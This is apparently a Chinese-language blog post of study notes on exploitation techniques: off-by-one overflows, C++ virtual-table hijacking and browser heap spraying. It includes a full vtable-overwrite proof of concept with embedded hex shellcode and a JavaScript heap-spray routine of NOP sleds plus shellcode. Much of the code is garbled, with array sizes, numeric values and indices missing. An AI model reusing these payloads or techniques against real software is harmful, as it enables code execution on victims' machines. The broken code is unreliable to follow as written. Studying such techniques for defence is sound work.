OD: Memory Attach Technology - Off by One, Virtual Function in C++ & Heap Spray

时间:2022-03-07 08:35:53

Off by One

根据 Halvar Flake 在“Third Generation Exploitation”中的描述,漏洞利用技术依攻击难度从小到大分为三类:

. 基础的栈溢出利用,可以利用返回地址轻松劫持进程,植入 shellcode,如对 strcpy、strcat 等函数的攻击。
. 高级栈溢出利用。栈中有限制因素,溢出数据只能淹没部分 EBP,但无法淹没返回地址,不能获得 EIP 控制权。经典例子是对 strnpy 函数误用时产生的 off by one 漏洞。
. 堆溢出、格式化串漏洞利用。

考虑如下代码:

 void off_by_one_bug(char * input)
{
char buf[];
int i=,len=;
len=sizeof(buf);
for(i=; input[i] && (i<=len); i++)
{
buf[i]=input[i];
}
...
}

第 6 行处的 input[i] && (i<=len),其作用是防止复制字符串时越界,但正确的条件是 i<len,i<=len 会产生漏洞:

这位例子中,缓冲区后面紧接着是 EBP 和返回地址,溢出的一个字节正好破坏了 EBP 的低 8 位(Inter x86 下的小端机),也就是说,攻击者可以在 255 个字节的范围内移动 EBP,如果能够让 EBP 恰好植入可控制的缓冲区内,就有可能劫持进程

另外,off by one 漏洞也可能破坏关键的邻接变量,从而改变程序流程,或者导致整数溢出等问题。

攻击 C++ 的虚函数

C++ 的多态特性主要靠对虚函数的动态调用来实现,虚函数和虚表的要点如下:

. C++ 类的成员函数声明时若使用 virtual 修饰,则为虚函数
. 一个类中可以有多个虚函数
. 虚函数的入口地址统一保存在虚表(VTable)
. 对象使用虚函数时,先通过虚表指针找到虚表,然后从虚表中取出最终的函数入口地址调用
. 虚表指针保存在对象的内存空间中,紧接着虚表指针的是其他成员变量
. 虚函数只有通过对象指针的引用才能显示出其动态调用的特性

如果对象中的成员变量发生溢出,有机会修改对象中的虚表指针或者虚表中的虚函数指针,那么虚函数被调用时就会去执行 shellcode。

以下代码简要演示了C++虚表攻击:

 /*****************************************************************************
To be the apostrophe which changed "Impossible" into "I'm possible"! POC code of chapter 8.3 in book "Vulnerability Exploit and Analysis Technique" file name : v_table.c
author : failwest
date : 2007.10.05
description : used as a demo to show how to exploit virtual function in C++
Noticed : complied with VC6.0; build into release version
the address of virtual table and virtual function may need to make sure
during runtime debug
version : 1.0
E-mail : failwest@gmail.com Only for educational purposes enjoy the fun from exploiting :)
******************************************************************************/
#include "windows.h"
#include "stdio.h"
#include "iostream.h" char shellcode[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x6C\x9D\x42\x00";//set fake virtual function pointer, offset-in-shellcode:176=0xB0 class Failwest
{
public:
char buf[];
virtual void test(void)
{
cout<<"Class Vtable::test()"<<endl;
}
};
Failwest overflow, *p;
void main(void)
{
char * p_vtable;
p_vtable=overflow.buf-;//point to virtual table
//__asm int 3
//reset fake virtual table to 0x004088cc
//the address may need to ajusted via runtime debug
//printf("%08X\n",overflow.buf);
//exit(0);
p_vtable[]=0x1C;
p_vtable[]=0x9E;
p_vtable[]=0x42;
p_vtable[]=0x00;
strcpy(overflow.buf,shellcode);//set fake virtual function pointer
p=&overflow;
p->test();
}

上述代码的实验环境和编译环境和前方的一样,需要说明的是:

1. 虚表指针位于 char buf[200] 之前,程序中通过 overflow.buf-4 直接定位。

2. 程序中显式修改考虚表指针,使其指向缓冲区 buf 的偏移 0xB0=176 处:0x00429E1C。

3. 程序执行到 p->test() 时,将按照伪造的虚表指针去 0x00429E1C 寻找虚表,这个位置正好指向 buf 的起始点 0x00429D6C,所以程序将被引导去执行 buf 中的 shellcode。

实验中,相关的地址 0x00429D6C 和 0x00429E1C 可能需要根据环境重新定位。

攻击虚函数有一些不方便的限制:

. 虚表指针位于成员变量之前,而一般溢出(数组,字符串)只能覆盖成员变量之后的区域。
. 对象的内存空间位于堆中(以上的示例不是栈溢出,因为事件发生在堆中;但也不是堆溢出,因为没用到 Dword Shoot)。
. 示例中使用的连续性覆盖若能将数据溢出到下一个对象中去,攻击还是有机会的。
. 若使用 Dword Shoot,攻击会容易一些:修改虚表指针或虚函数指针都是不错的选择。

可见,在指令层次上,虚函数、面向对象这些 C++ 特性与 C 语言没有本质区别,以漏洞的眼光看这些内容,都是函数指针而已!

Heap Spray

Heap Spray 是针对浏览器的堆溢出与栈溢出的协同攻击,这里简单介绍下,后续会有专门的例子。

当浏览器使用的 ActiveX 控件中存在溢出漏洞时,攻击者可以生成特殊 HTML 文件来触发漏洞,获得 EIP。页面中,JavaScript 可以申请内存,故 shellcode 经常放在 JavaScript 来进行布置。然而堆内存的分布有很大的随机性,如何将 shellcode 在堆中定位?Heap Spray 正是为解决这个问题而产生的技术。

Blazde 和 SkyLined 最先于 2004 年为 IE 中的 IFRAME 漏洞写 exploit 时使用 Heap Spray 技术(MS04-040,CVE-2004-1050)。现在这种技术已经成为浏览器攻击的经典方法。

作用 Heap Spray 时,一般会将 EIP 指向堆区的 0x0C0C0C0C 位置,然后有 JavaScript 申请大量内存,并用包含 0x90 和 shellcode 的内存片覆盖这些内存。

通常 JavaScript 会从内存低地址向高地址分配内存,因此申请的内存超过 200MB(200*1024*1024=0x0C800000>0x0C0C0C0C)后,0x0C0C0C0C 将会被含有 shellcode 的内存片覆盖。只要内存片中的 0x90 能够命中 0x0C0C0C0C 位置,shellcode 就能得到执行。

 var nop=unescape("%u9090%u9090");
while (nop.length<=0x100000/2)
{
nop+=nop;
}//生成一个 1MB 且充满 0x90 的数据块,作为 200 字节左右的 shellcode 的缓冲区
nop=nop.substring(0,0x100000/2-32/2-4/2-shellcode.length-2/2);//JavaScript会自动生成额外的信息,将这些信息所占的空间减去,保证数据正好 1MB
var slide=new Array();
for(var i=0; i<200; i++)//用 200 个内存片来覆盖堆内存,只要其中任意一片的 nop 能够覆盖 0x0C0C0C0C,攻击就能成功
{
slide[i]=nop+shellcode;
}

第 6 行减去的额外信息包括:32 bytes 的堆块信息 malloc header,4 bytes 的字符串长度值 string length,2 bytes 的字符串结束符 terminator(NULL x 2)。

以上代码被杀毒软件当作 JS 木马了。。。提交后自己都不能看了。。。